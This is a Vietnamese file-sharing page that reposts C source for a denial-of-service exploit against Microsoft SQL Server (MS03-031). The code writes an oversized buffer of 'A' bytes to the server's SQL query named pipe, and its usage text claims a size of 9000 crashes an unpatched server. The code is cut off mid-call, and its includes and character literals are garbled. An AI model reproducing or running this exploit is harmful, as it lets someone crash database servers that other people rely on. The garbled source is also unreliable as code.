TAILIEUCHUNG - Code làm tê liệt các máy chủ dùng MSSQL Server

Code làm tê liệt các máy chủ dùng MSSQL Server | Code làm tê liệt các máy chủ dùng MSSQL Server trang này đã được đọc lần code khai thác //////////////////////////////////////////////////////////////////////////////// // // exp for Microsoft SQL Server DoS(MS03-031) // // By : refdom // Email : refdom@ // Home Page : // //////////////////////////////////////////////////////////////////////////////// #include #include #include void Usage() { printf("******************************************\n"); printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: refdom@\n"); printf("\t Homepage: \n\n"); printf("Usage: server buffersize\n"); printf("eg: 9000\n\n"); printf("The buffersize depends on service pack level.\n"); printf("I test it on my server: windows 2000, mssqlserver no sp.\n"); printf("when buffersize is 9000, the server can be crashed.\n"); printf("\n"); printf("*******************************************\n\n"); } int main(int argc, char* argv[]) { char lpPipeName[50]; char *lpBuffer = NULL; unsigned long ulSize = 0; BOOL bResult; DWORD dwWritten = 0, dwMode; HANDLE hPipe; Usage(); printf("Starting.\n"); if (argc != 3) goto Exit0; if (strlen(argv[1]) < 20) { sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]); } else { printf("Error!server\n"); goto Exit0; } ulSize= atol(argv[2]); lpBuffer = (char*)malloc(ulSize + 2); if (NULL == lpBuffer) { printf("malloc error!\n"); goto Exit0; } memset(lpBuffer, 0, ulSize + 2); memset(lpBuffer, A, ulSize); *lpBuffer = \x12; *(lpBuffer + 1) = \x01; *(lpBuffer + 2) = \x00; printf("Connecting Server.\n"); hPipe = CreateFile(lpPipeName, GENERIC_READ

Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.